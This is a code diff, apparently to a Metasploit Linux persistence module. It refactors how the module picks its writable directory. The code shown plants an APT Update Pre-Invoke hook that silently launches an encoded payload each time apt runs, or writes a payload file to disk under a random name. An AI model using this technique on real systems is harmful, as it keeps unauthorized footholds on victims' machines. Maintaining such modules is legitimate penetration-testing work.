apt persistence updates for mixin

Author: h00die

modules/exploits/linux/persistence/apt_package_manager.rb

@@ -68,23 +68,22 @@ def check
     return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
     return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
 
-    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
-    return CheckCode::Safe("#{datastore['WritableDir']} not found") unless exists?(datastore['WritableDir'])
-    return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable?(datastore['WritableDir'])
+    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
+    return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
+    return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)
 
-    CheckCode::Appears("#{datastore['HOOKPATH']} and #{datastore['WritableDir']} are writable, also found apt-get.")
+    CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
   end
 
   def install_persistence
     fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
     hook_path = datastore['HOOKPATH']
     hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
 
-    @clean_up_rc = ''
     if payload.arch.first == 'cmd'
       hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
     else
-      payload_path = datastore['WritableDir']
+      payload_path = writable_dir
       payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
       payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
       payload_path << payload_name